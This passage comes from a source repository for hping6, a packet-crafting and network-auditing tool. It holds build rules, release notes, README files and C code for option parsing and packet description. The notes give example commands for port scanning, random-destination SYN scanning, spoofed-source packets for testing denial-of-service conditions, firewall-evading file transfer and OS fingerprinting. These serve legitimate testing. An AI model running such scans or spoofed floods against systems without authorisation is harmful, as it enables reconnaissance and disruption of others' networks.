sendtcp.o cksum.o statistics.o \
usage.o version.o antigetopt.o \
sockopt.o listen.o \
sendhcmp.o memstr.o rtt.o \
relid.o sendip_handler.o \
libpcap_stuff.o memlockall.o memunlockall.o \
memlock.o memunlock.o ip_opt_build.o \
display_ipopt.o sendrawip.o signal.o send.o \
strlcpy.o arsglue.o random.o random6.o scan.o \
hstring.o libars.a
ARSOBJ = ars.o apd.o split.o
all: hping6
libars.a: $(ARSOBJ)
$(AR) rc $@ $^
$(RANLIB) $@
hping6: byteorder.h $(OBJ)
$(CC) -o hping6 $(CCOPT) $(DEBUG) $(OBJ) $(PCAP) @SOLARISLIB@
@echo
./hping6 -v
@echo "use \`make strip' to strip hping6 binary"
@echo "use \`make install' to install hping6"
byteorder.h:
./configure
.c.o:
$(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $<
clean:
rm -rf hping6 *.o *.a
-(cd utils; $(MAKE) clean)
distclean:
rm -rf hping6 *.o *.a byteorder byteorder.h systype.h Makefile
-(cd utils; $(MAKE) clean)
install: hping6
mkdir -p ${prefix}/sbin/
cp -f hping6 ${prefix}/sbin/
chmod 755 ${prefix}/sbin/hping6
@if [ -f ${prefix}/sbin/hping2 ]; then \
rm ${prefix}/sbin/hping2; \
fi
strip: hping6
@ls -l ./hping6
strip hping6
@ls -l ./hping6

181
NEWS Normal file
View File

@ -0,0 +1,181 @@
This short document is for users of hping-beta54 or prior versions
and helps to exploit all the new features of this hping6 release in a
short time. You may want to read the new man page anyway but the
following will help for sure:
=== release candidate 3 news
In this release a nasty bug with the checksum code was fixed.
If you experimented strange problems like some kind of packet
generated with a wrong checksum try this version.
Try the --scan option in the command line to see the port-scanner features.
Example of the --scan option usage:
# hping3 --scan known 1.2.3.4
Scanning 1.2.3.4 (1.2.3.4), port known
245 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
9 discard : .S..A... 64 0 32767 44
13 daytime : .S..A... 64 0 32767 44
21 ftp : .S..A... 64 0 32767 44
22 ssh : .S..A... 64 0 32767 44
25 smtp : .S..A... 64 0 32767 44
37 time : .S..A... 64 0 32767 44
80 www : .S..A... 64 0 32767 44
111 sunrpc : .S..A... 64 0 32767 44
113 auth : .S..A... 64 0 32767 44
631 ipp : .S..A... 64 0 32767 44
3306 mysql : .S..A... 64 0 32767 44
6000 x11 : .S..A... 64 0 32767 44
6667 ircd : .S..A... 64 0 3072 44
All replies received. Done.
Not responding ports:
Check the man page for more information on the scan mode.
=== release candidate 2 news
. Now hping is able to send/parse source routed IP headers.
See the manpage for more info.
. Hping was almost rewrote, at least all the most important parts.
You should experiment a more readable, compact, fast to compile
code.
. The new option parsing code allows you to specify abbreviated
options. you can now use for example --tcp-ti instead of --tcp-timestamp
and so on.
. The new feature rand-dest allows to send the packet to random
IP addresses. This is very useful to do some Internet survey
or large subnet random scanning.
For example the follow command line will send TCP packets with the
SYN flag on to the port 80 of the 192.168.0.0/16 address space:
hping 192.168.x.x --rand-dest -p 80 -S
Every occurrence of 'x' is substituted with a random number
in the 0-255 range.
. The new feature rand-source allows to send packets with random
source addresses. Useful to test some DoS condition against firewalls
or TCP/IP stacks that implements some per-IP basis information
recording.
. The output was enhanced and fixed a bit.
. The "force incremental dest port" option (++<port>) now works with UDP
packets and works better with TCP, since it is more selective
with the incoming responses.
. Now you should be really able to set the sequence and acknowledge
number of the TCP packets. The rc1 code was broken because
atoi() was used to get a long unsigned value.
. The documentation (and the french translation) was updated
to reflect the changes.
=== release candidate 1 news
. Now hping works better on BSD, and works on Solaris. It should
be many times simplest to port it to an unsupported platform.
Problems with systems that uses 32bit pids are now fixed.
. The output is different to be more parseable and compact, example:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms
now the presence of the Don't fragment IP flag is signaled with 'DF'.
all the fields with a value are in the form 'field=value'.
. To specify the outgoing interface with -I is no longer needed,
hping will try to detect the right interface according to the
system routing table. Of course you can override it using -I.
. Instead to specify -i u10000 to get a speed of ten packets for second
you can just use --fast.
. Now --traceroute (-T) implies --ttl 1. You can override this using --ttl.
. Using hping as traceroute you have now RTT informations about the
hops.
. You can monitor a specific hop in traceroute mode, using the following
syntax:
hping6 -T www.yahoo.com --tr-keep-ttl --ttl 5
see the output:
HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat
a bytes
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.9 ms
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.8 ms
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.9 ms
5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net)
5->RTT was: 136.7 ms
--- www.yahoo.com hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 136.7/136.8/136.9 ms
you get only information about the 5 hop, after Ctrl+C the round-trip
min/avg/max is calculated using the rtt of this hop.
. Using the option --tr-stop you can obtain that hping will exit
when the first matching packet that isn't an ICMP time exceeded
in transit is received, like the original traceroute. Without
this hping continue to send packets to the target host forever.
. You can use --tr-no-rtt to suppress the rtt information in traceroute
mode.
. With the --tcp-timestamp feature you can guess the uptime of some
remote systems. Example:
HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes
56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms
TCP timestamp: 258597761
56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms
TCP timestamp: 258597860
HZ seems 100
System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds
56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms
TCP timestamp: 258597960
HZ seems 100
System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds
--- www.hping.org hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 105.0/105.2/105.4 ms
As you can see the first reply does not contain any uptime information
since at least two packets are needed to estimate the increment frequency
of the timestamp timer (that is HZ in the output).
. You can now use ICMP timestamp and address subnet mask requests.
Two shortcut are provided to use they: --icmp-ts and --icmp-addr.
. Now the sequence number handling is revisited to allow hping to
show the right rtt info even if the sequence number overflows.
. Now hping should never (hopefully) SIGBUS on sparc.
I hope you will find hping better to use and more powerful, these enhancements
were implemented thanks to many people that helped a lot with code and
new ideas, see the CHANGES file for more information and credits.
have fun,
antirez

78
README Normal file
View File

@ -0,0 +1,78 @@
DESCRIPTION
hping6 is a network tool able to send custom ICMP/UDP/TCP
packets and to display target replies like ping do with
ICMP replies. hping6 handle fragmentation, arbitrary packet
body and size and can be used in order to transfer files
under supported protocols. Using hping6 you are able at
least to perform the following jobs:
- Test firewall rules
- [spoofed] port scanning
- Test net performance using differents protocols,
packet size, TOS (type of service) and fragmentation.
- Path MTU discovery
- Files trasfering even between really fascist firewall rules.
- Traceroute like under different protocols.
- Firewalk like usage.
- Remote OS fingerprint.
- TCP/IP stack auditing.
- IPv6 support
- A lot of others.
It's also really a good didactic tool to learn TCP/IP.
hping6 is developed and manteined by antirez@invece.org
and comes under GPL version 2 of license. Developing is
open so you can send me patches/suggestions/affronts without
inhibitions.
Thanks to the following peoples for them suggestions/tests/tools/code:
Valeriano Bedeschi <vale@seclab.com>
Lorenzo Cavallaro <sullivan@seclab.com>
awgn roofing <root@roof.penguinpowered.com>
Darren Reed <avalon@COOMBS.ANU.EDU.AU>
Alfonso De Gregorio <dira@speedcom.it>
Mika <mika@qualys.com>
Yann Berthier <Yann.Berthier@hsc.fr>
Lance Spitzner <lance@spitzner.net>
Stephane Aubert <Stephane.Aubert@hsc.fr>
Nicolas Jombart <Nicolas.Jombart@hsc.fr>
Denis Ducamp <Denis.Ducamp@hsc.fr>
Francesco Potorti` <pot@gnu.org>
Stefano Brandimarte <stevens@alicom.com>
"roy kozzer" <royk50@hotmail.com>
Jason Lunz <j@trellisinc.com>
Domenico Andreoli <cavok@filibusta.crema.unimi.it>
Gian-Luca Dei Rossi <acaso@venezia.linux.it>
Marco D'Itri <md@linux.it>
Rui Miguel Barbosa Machado <rmbm@rccn.net>
Daniel Ginsburg <dbg@nm.ru>
Steve Bleazard <steve@bleazard.com>
David Coppa <coffeec@tin.it>
Many other, I don't remember.
Also vim developers, ee.lbl.gov for tcpdump and GNU in general.
IPv6 support, flood modes:
Matyas Koszik <koszik@atw.hu>
REQUIREMENTS
A supported unix-like OS, gcc, root access.
see PORTINGS file for supported systems list.
USAGE
See the man page and HPING6-HOWTO.
INSTALLATION
see INSTALL file.
have fun,
antirez

21
README.md Normal file
View File

@ -0,0 +1,21 @@
This is regular hping2 with a few extra features:
* `-6` - required for ipv6 destinations
* `--pps`
* `--bps` - set outgoing pps/bps rates. Return packets are not processed in these modes.
Example:
root@koszik-vps:~# ./hping6 ns1.atw.hu -6 -2 -p 53 -k -s 1583 --traceroute
HPING ns1.atw.hu (eth0 2a01:270:0:2::11): udp mode set, 48 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=2a00:1f40:2::1 name=2a00-1f40-2--1.pool6.giganet.hu hoprtt=0.9 ms
hop=2 TTL 0 during transit from ip=2a00:1f40:1:bb00::2:1 name=UNKNOWN hoprtt=1005.7 ms
hop=3 TTL 0 during transit from ip=2001:7f8:35::2:9278:2 name=UNKNOWN hoprtt=2011.2 ms
hop=4 TTL 0 during transit from ip=2a02:730:c:b01:b03:0:1:1 name=UNKNOWN hoprtt=3006.7 ms
hop=5 TTL 0 during transit from ip=2a01:270:c:c04:103::1 name=UNKNOWN hoprtt=4007.1 ms
hop=6 TTL 0 during transit from ip=2a01:270:c:c02:c04::1 name=UNKNOWN hoprtt=5007.7 ms
hop=7 TTL 0 during transit from ip=2a01:270:c:106::42 name=UNKNOWN hoprtt=6007.3 ms
^C
--- ns1.atw.hu hping statistic ---
12 packets transmitted, 7 packets received, 42% packet loss
round-trip min/avg/max = 0.9/3006.7/6007.3 ms

21
TODO Normal file
View File

@ -0,0 +1,21 @@
WARNING: Also try `grep FIXME *.c'
TODO (Stuff to do *before* 2.0.0 stable release)
- support for x.y.z.k/mask destination
also in this mode on TCP flags specified exec this program passing
as arguments the IP, port and some additional info.
- To add a decent verbose mode for ICMP packet received.
- add bpf filtering capability
- broadcast support in waitpacket.c
- replace exit() with hping_exit() that close the desciptors and so on.
- hping --getfield <fieldname>
TODO
- better solution than ip->id = getpid() & 255
- log and handle ip and tcp options (only incoming)
- support for hcmp source quench/stirup
- Other ip options (record route already implemented)
- dns query support
- scripting language support, send(...) ifrecv(...) etc...

295
antigetopt.c Normal file
View File

@ -0,0 +1,295 @@
/* antigetopt -- a getopt replacement
* Copyright(C) 2001 Salvatore Sanfilippo <antirez@invece.org>
* This software is released under the GPL license
* see the COPYING file for more information */
/* TODO:
* argument list sanity check */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "antigetopt.h"
/* global vars */
char *ago_optarg = NULL;
char *ago_optname = NULL;
char ago_optchar = '\0';
/* static vars */
static struct ago_exception {
int (*tester)(void);
char *msg;
} ago_exceptions[3] = {
{ NULL, NULL },
{ NULL, NULL },
{ NULL, NULL }
};
static int ago_exception_bits[] = { AGO_EXCEPT0, AGO_EXCEPT1, AGO_EXCEPT2 };
/* static functions */
static struct ago_optlist
*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb);
static int strinitcmp(char *a, char *b);
/*----------------------------- implementation ------------------------------ */
int antigetopt(int argc, char **argv, struct ago_optlist *list)
{
static char **save_argv = NULL;
static char *chain = NULL;
static int endoptions = 0;
struct ago_optlist *opt;
int islong;
/* Reset */
if (argv == NULL) {
save_argv = NULL;
chain = NULL;
endoptions = 0;
return AGO_RESET;
} else {
if (save_argv == NULL) {
save_argv = argv+1; /* skips the argv[0] */
/* XXX: argument list sanity check */
}
}
chain_start:
if (chain) {
if (*chain == '\0')
chain = NULL;
else {
if ((opt = ago_lookup(list, chain, &islong, NULL))
== NULL)
return AGO_UNKNOWN;
if (!(opt->ao_flags & AGO_NOARG)) {
/* the if expression maybe false if the
* argument is optional */
if (chain[1] == '\0' && *save_argv)
ago_optarg = *save_argv++;
/* while it is mandatory for the NEEDARG type */
else if (opt->ao_flags & AGO_NEEDARG)
return AGO_REQARG;
}
chain++;
return opt->ao_id;
}
}
argv = save_argv;
/* handle the "--" special option */
if (*argv && strcmp(*argv, "--") == 0) {
endoptions = 1;
argv++;
save_argv++;
}
while(*argv) {
/* The option must start with '-' */
if (!endoptions && argv[0][0] == '-' && argv[0][1] != '\0') {
int amb;
/* note: ago_lookup also sets ago_optname */
if ((opt = ago_lookup(list, argv[0], &islong, &amb))
== NULL)
return amb ? AGO_AMBIG : AGO_UNKNOWN;
/* handle the collapsed short options */
if (!islong && argv[0][2] != '\0') {
chain = argv[0]+1;
save_argv++;
goto chain_start;
}
/* if the option require or may have an argument */
ago_optarg = NULL;
/* If the argument is needed we get the next argv[]
* element without care about what it contains */
if (opt->ao_flags & AGO_NEEDARG) {
if (argv[1] == NULL)
return AGO_REQARG;
ago_optarg = argv[1];
argv++;
}
/* If the argument is optional we only recognize it
* as argument if it does not starts with '-' */
else if (opt->ao_flags & AGO_OPTARG) {
if (argv[1] && argv[1][0] != '-') {
ago_optarg = argv[1];
argv++;
}
}
save_argv = argv+1;
return opt->ao_id;
} else {
save_argv = argv+1;
ago_optarg = argv[0];
ago_optchar = '\0';
ago_optname = NULL;
return AGO_ALONE;
}
}
return AGO_EOF;
}
#define UNK_SHORT_ERRSTRING "invalid option -- %c\n"
#define UNK_LONG_ERRSTRING "unrecognized option `--%s'\n"
#define ARG_SHORT_ERRSTRING "option requires an argument -- %c\n"
#define ARG_LONG_ERRSTRING "option `--%s' requires an argument\n"
#define AMB_ERRSTRING "option `--%s' is ambiguous\n"
#define IERR_ERRSTRING "internal error. ago_gnu_error() called with " \
"a bad error code (%d)\n"
void ago_gnu_error(char *pname, int error)
{
if (pname)
fprintf(stderr, "%s: ", pname);
switch(error) {
case AGO_UNKNOWN:
if (ago_optname)
fprintf(stderr, UNK_LONG_ERRSTRING,
ago_optname);
else
fprintf(stderr, UNK_SHORT_ERRSTRING,
ago_optchar);
break;
case AGO_REQARG:
if (ago_optname)
fprintf(stderr, ARG_LONG_ERRSTRING,
ago_optname);
else
fprintf(stderr, ARG_SHORT_ERRSTRING,
ago_optchar);
break;
case AGO_AMBIG:
fprintf(stderr, AMB_ERRSTRING, ago_optname);
break;
default:
fprintf(stderr, IERR_ERRSTRING, error);
break;
}
}
int ago_set_exception(int except_nr, int (*tester)(void), char *msg)
{
if (tester == NULL || msg == NULL || except_nr < 0 || except_nr >= 3)
return -1;
ago_exceptions[except_nr].tester = tester;
ago_exceptions[except_nr].msg = msg;
return 0;
}
/*-------------------------- static functions ------------------------------- */
struct ago_optlist
*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb)
{
int i;
/* ago_lookup can be receive as `arg' a pointer to a
* long argument, like --option, a pointer to a short
* argument like -O, or just a pointer to a char sequence
* in the case of collapsed short arguments like -abcde. */
/* Clear the 'ambiguos' flag, used to report the caller
* an ambiguos option abbreviation error */
if (amb) *amb = 0;
if (*arg == '-') /* skips the first - if any */
arg++;
switch(*arg) {
case '\0':
return NULL;
case '-':
*islong = 1;
arg++; /* skip the last - */
break;
default:
*islong = 0;
break;
}
/* search the argument in the list */
if (*islong) {
int retval;
struct ago_optlist *last = NULL;
while(!(list->ao_flags & AGO_ENDOFLIST)) {
ago_optname = arg;
ago_optchar = '\0';
if ((retval = strinitcmp(arg, list->ao_long)) != 0) {
switch(retval) {
case 1:
if (last) {
if (amb) *amb = 1;
return NULL;
}
last = list;
break;
case 2:
goto ok;
}
}
list++;
}
if (last) {
ago_optname = last->ao_long;
list = last;
goto ok;
}
} else {
ago_optchar = *arg;
ago_optname = NULL;
while(!(list->ao_flags & AGO_ENDOFLIST)) {
if (*arg == list->ao_short)
goto ok;
list++;
}
}
return NULL;
ok:
/* handle the exceptions if any */
for (i = 0; i < 3; i++) {
if ((list->ao_flags & ago_exception_bits[i]) &&
ago_exceptions[i].tester)
{
if (ago_exceptions[i].tester()) {
if (ago_optname) {
fprintf(stderr, "%s `--%s'\n",
ago_exceptions[i].msg,
ago_optname);
} else {
fprintf(stderr, "%s `-%c'\n",
ago_exceptions[i].msg,
ago_optchar);
}
exit(1);
}
}
}
return list;
}
/* Given two strings this function returns:
* 1, if the strings are the same for the len of the first string (abc, abcde)
* 2, if the strings are exactly the same: (abcd, abcd)
* otherwise zero is returned (abcde, abcd) ... (djf, 293492) */
int strinitcmp(char *a, char *b)
{
if (!a || !b)
return 0;
while (*a && *b) {
if (*a != *b)
return 0;
a++; b++;
}
if (*a)
return 0;
if (*a == *b)
return 2;
return 1;
}

35
antigetopt.h Normal file
View File

@ -0,0 +1,35 @@
#ifndef __ANTIGETOPT_H
#define __ANTIGETOPT_H
/* special return codes */
enum { AGO_EOF=4000, AGO_ALONE, AGO_UNKNOWN, AGO_REQARG, AGO_RESET, AGO_AMBIG };
/* option flags */
#define AGO_NOARG (1<<0) /* no argument */
#define AGO_NEEDARG (1<<1) /* required argument */
#define AGO_OPTARG (1<<2) /* optional argument */
#define AGO_EXCEPT0 (1<<3) /* exception #0 */
#define AGO_EXCEPT1 (1<<4) /* exception #1 */
#define AGO_EXCEPT2 (1<<5) /* exception #3 */
#define AGO_ENDOFLIST (1<<15) /* end of argument list marker */
/* option list null term */
#define AGO_LIST_TERM {'\0',NULL,0,AGO_ENDOFLIST}
/* The structure that defines an argument */
struct ago_optlist {
char ao_short;
char *ao_long;
int ao_id;
int ao_flags;
};
extern char *ago_optarg;
extern char *ago_optname;
extern char ago_optchar;
int antigetopt(int argc, char **argv, struct ago_optlist *list);
void ago_gnu_error(char *pname, int error);
int ago_set_exception(int except_nr, int (*tester)(void), char *msg);
#endif /* __ANTIGETOPT_H */

489
apd.c Normal file
View File

@ -0,0 +1,489 @@
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
* See the LICENSE file for more information.
*
* ARS Packet Description System.
*
* Please, prefix all the function with ars_d_ */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include "ars.h"
#define ARS_MAX_TSIZE 1024
char *ars_d_parser(char *t, char *next, size_t size)
{
int i = 0;
if (size == 0 || next == NULL || *t == '\0')
return NULL;
size--; /* space for nul term */
while (1) {
/* no space for the next char */
if (i == size) {
next[i] = '\0';
return t;
}
switch(*t) {
case '\0':
case '{':
case '}':
case ',':
case '=':
case '+':
if (i == 0) {
next[i] = *t;
next[i+1] = '\0';
return t+1;
} else {
next[i] = '\0';
return t;
}
default:
next[i++] = *t++;
break;
}
}
return NULL; /* unreached */
}
/* states */
#define ARS_G_LAYER 0
#define ARS_G_FIELD 1
#define ARS_G_VALUE 2
#define ARS_G_OBRACE_OR_PLUS 3
#define ARS_G_CBRACE 4
#define ARS_G_COMMA_OR_CBRACE 5
#define ARS_G_LEN_OR_PLUS 6
#define ARS_G_PLUS 7
#define ARS_G_EQUAL 8
struct ars_d_keyword_info {
char *ki_keyword;
int ki_opt;
void *(*ki_add) (struct ars_packet *pkt, int opt);
int (*ki_set) (struct ars_packet *pkt, int layer, char *f, char *v);
};
#define ARS_DKINFO_SIZE 64
#define BOGUS_SET_F(x) \
int (x)(struct ars_packet *pkt, int layer, char *f, char *v) { return 0; }
int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v);
int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v);
int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v);
int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v);
int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v);
BOGUS_SET_F(ars_d_set_ipopt_sec)
BOGUS_SET_F(ars_d_set_ipopt_sid)
BOGUS_SET_F(ars_d_set_ipopt_lsrr)
BOGUS_SET_F(ars_d_set_ipopt_ssrr)
BOGUS_SET_F(ars_d_set_ipopt_rr)
BOGUS_SET_F(ars_d_set_ipopt_ts)
BOGUS_SET_F(ars_d_set_tcpopt_mss)
BOGUS_SET_F(ars_d_set_tcpopt_wscale)
BOGUS_SET_F(ars_d_set_tcpopt_sackperm)
BOGUS_SET_F(ars_d_set_tcpopt_sack)
BOGUS_SET_F(ars_d_set_tcpopt_echo)
BOGUS_SET_F(ars_d_set_tcpopt_echoreply)
BOGUS_SET_F(ars_d_set_tcpopt_ts)
struct ars_d_keyword_info ars_dkinfo[ARS_DKINFO_SIZE] = {
/* KEYWORD OPT ADD function SET function *
* --------------------------------------------------------- */
{"ip", 0, ars_add_iphdr, ars_d_set_ip},
{"ipopt.eol", ARS_IPOPT_EOL, ars_add_ipopt, NULL},
{"ipopt.nop", ARS_IPOPT_NOP, ars_add_ipopt, NULL},
{"ipopt.sec", ARS_IPOPT_SEC, ars_add_ipopt, ars_d_set_ipopt_sec},
{"ipopt.sid", ARS_IPOPT_SID, ars_add_ipopt, ars_d_set_ipopt_sid},
{"ipopt.lsrr", ARS_IPOPT_LSRR, ars_add_ipopt, ars_d_set_ipopt_lsrr},
{"ipopt.ssrr", ARS_IPOPT_SSRR, ars_add_ipopt, ars_d_set_ipopt_ssrr},
{"ipopt.rr", ARS_IPOPT_RR, ars_add_ipopt, ars_d_set_ipopt_rr},
{"ipopt.ts", ARS_IPOPT_TIMESTAMP, ars_add_ipopt, ars_d_set_ipopt_ts},
{"udp", 0, ars_add_udphdr, ars_d_set_udp},
{"tcp", 0, ars_add_tcphdr, ars_d_set_tcp},
{"tcpopt.end", ARS_TCPOPT_EOL, ars_add_tcpopt, NULL},
{"tcpopt.nop", ARS_TCPOPT_NOP, ars_add_tcpopt, NULL},
{"tcpopt.mss", ARS_TCPOPT_MAXSEG, ars_add_tcpopt, ars_d_set_tcpopt_mss},
{"tcpopt.wscale", ARS_TCPOPT_WINDOW, ars_add_tcpopt, ars_d_set_tcpopt_wscale},
{"tcpopt.sackperm", ARS_TCPOPT_SACK_PERM, ars_add_tcpopt, ars_d_set_tcpopt_sackperm},
{"tcpopt.sack", ARS_TCPOPT_SACK, ars_add_tcpopt, ars_d_set_tcpopt_sack},
{"tcpopt.echo", ARS_TCPOPT_ECHOREQUEST, ars_add_tcpopt, ars_d_set_tcpopt_echo},
{"tcpopt.echoreply", ARS_TCPOPT_ECHOREPLY, ars_add_tcpopt, ars_d_set_tcpopt_echoreply},
{"tcpopt.ts", ARS_TCPOPT_TIMESTAMP, ars_add_tcpopt, ars_d_set_tcpopt_ts},
{"icmp", 0, ars_add_icmphdr, ars_d_set_icmp},
{"data", 0, ars_add_data, ars_d_set_data},
{NULL, 0, NULL, NULL} /* nul term */
};
struct ars_d_keyword_info *ars_get_keyword_by_name(char *name)
{
struct ars_d_keyword_info *k = ars_dkinfo;
while (k->ki_keyword) {
if (strcasecmp(k->ki_keyword, name) == 0)
return k;
k++;
}
return NULL;
}
int ars_d_setlayer_size(struct ars_packet *pkt, int layer, char *size)
{
size_t newsize;
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
newsize = ars_atou(size);
if (newsize < 1 || newsize > pkt->p_layer[layer].l_size) {
ars_set_error(pkt, "Invalid layer size in description");
return -ARS_INVALID;
}
pkt->p_layer[layer].l_size = newsize;
__D(printf("Setting the layer to size %s\n", size);)
return -ARS_OK;
}
int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v)
{
struct ars_iphdr *ip;
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
ip = pkt->p_layer[layer].l_data;
if (strcasecmp(f, "saddr") == 0) {
return ars_resolve(pkt, &ip->saddr, v);
} else if (strcasecmp(f, "daddr") == 0) {
return ars_resolve(pkt, &ip->daddr, v);
} else if (strcasecmp(f, "ihl") == 0) {
ip->ihl = ars_atou(v);
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_HDRLEN;
} else if (strcasecmp(f, "ver") == 0) {
ip->version = ars_atou(v);
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_VERSION;
} else if (strcasecmp(f, "tos") == 0) {
ip->tos = ars_atou(v);
} else if (strcasecmp(f, "totlen") == 0) {
ip->tot_len = htons(ars_atou(v));
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_TOTLEN;
} else if (strcasecmp(f, "id") == 0) {
ip->id = htons(ars_atou(v));
} else if (strcasecmp(f, "fragoff") == 0) {
ip->frag_off = ip->frag_off & 0xE000;
ip->frag_off = htons(ars_atou(v) >> 3);
} else if (strcasecmp(f, "mf") == 0) {
if (ars_atou(v) == 0)
ip->frag_off &= htons(~ARS_IP_MF);
else
ip->frag_off |= htons(ARS_IP_MF);
} else if (strcasecmp(f, "df") == 0) {
if (ars_atou(v) == 0)
ip->frag_off &= htons(~ARS_IP_DF);
else
ip->frag_off |= htons(ARS_IP_DF);
} else if (strcasecmp(f, "rf") == 0) {
if (ars_atou(v) == 0)
ip->frag_off &= htons((u_int16_t)~ARS_IP_RF);
else
ip->frag_off |= htons(ARS_IP_RF);
} else if (strcasecmp(f, "ttl") == 0) {
ip->ttl = ars_atou(v);
} else if (strcasecmp(f, "proto") == 0) {
ip->protocol = ars_atou(v);
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_PROTOCOL;
} else if (strcasecmp(f, "cksum") == 0) {
ip->check = htons(ars_atou(v));
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_CKSUM;
} else {
ars_set_error(pkt, "Invalid field for IP layer");
return -ARS_INVALID;
}
return -ARS_OK;
}
int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v)
{
struct ars_udphdr *udp;
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
udp = pkt->p_layer[layer].l_data;
if (strcasecmp(f, "sport") == 0) {
udp->uh_sport = htons(ars_atou(v));
} else if (strcasecmp(f, "dport") == 0) {
udp->uh_dport = htons(ars_atou(v));
} else if (strcasecmp(f, "len") == 0) {
udp->uh_ulen = htons(ars_atou(v));
pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_LEN;
} else if (strcasecmp(f, "cksum") == 0) {
udp->uh_sum = htons(ars_atou(v));
pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_CKSUM;
} else {
ars_set_error(pkt, "Invalid field for UDP layer");
return -ARS_INVALID;
}
return -ARS_OK;
}
int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v)
{
struct ars_tcphdr *tcp;
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
tcp = pkt->p_layer[layer].l_data;
if (strcasecmp(f, "sport") == 0) {
tcp->th_sport = htons(ars_atou(v));
} else if (strcasecmp(f, "dport") == 0) {
tcp->th_dport = htons(ars_atou(v));
} else if (strcasecmp(f, "seq") == 0) {
tcp->th_seq = htonl(ars_atou(v));
} else if (strcasecmp(f, "ack") == 0) {
tcp->th_ack = htonl(ars_atou(v));
} else if (strcasecmp(f, "x2") == 0) {
tcp->th_x2 = ars_atou(v);
} else if (strcasecmp(f, "off") == 0) {
tcp->th_off = ars_atou(v);
pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_HDRLEN;
} else if (strcasecmp(f, "flags") == 0) {
tcp->th_flags = 0;
if (strchr(v, 'f') || strchr(v, 'F'))
tcp->th_flags |= ARS_TCP_TH_FIN;
if (strchr(v, 's') || strchr(v, 'S'))
tcp->th_flags |= ARS_TCP_TH_SYN;
if (strchr(v, 'r') || strchr(v, 'R'))
tcp->th_flags |= ARS_TCP_TH_RST;
if (strchr(v, 'p') || strchr(v, 'P'))
tcp->th_flags |= ARS_TCP_TH_PUSH;
if (strchr(v, 'a') || strchr(v, 'A'))
tcp->th_flags |= ARS_TCP_TH_ACK;
if (strchr(v, 'u') || strchr(v, 'U'))
tcp->th_flags |= ARS_TCP_TH_URG;
if (strchr(v, 'x') || strchr(v, 'X'))
tcp->th_flags |= ARS_TCP_TH_X;
if (strchr(v, 'y') || strchr(v, 'Y'))
tcp->th_flags |= ARS_TCP_TH_Y;
} else if (strcasecmp(f, "win") == 0) {
tcp->th_win = htons(ars_atou(v));
} else if (strcasecmp(f, "cksum") == 0) {
tcp->th_sum = htons(ars_atou(v));
pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_CKSUM;
} else if (strcasecmp(f, "urp") == 0) {
tcp->th_urp = htons(ars_atou(v));
} else {
ars_set_error(pkt, "Invalid field for TCP layer");
return -ARS_INVALID;
}
return -ARS_OK;
}
int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v)
{
struct ars_icmphdr *icmp;
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
icmp = pkt->p_layer[layer].l_data;
if (strcasecmp(f, "type") == 0) {
icmp->type = ars_atou(v);
} else if (strcasecmp(f, "code") == 0) {
icmp->code = ars_atou(v);
} else if (strcasecmp(f, "cksum") == 0) {
icmp->checksum = htons(ars_atou(v));
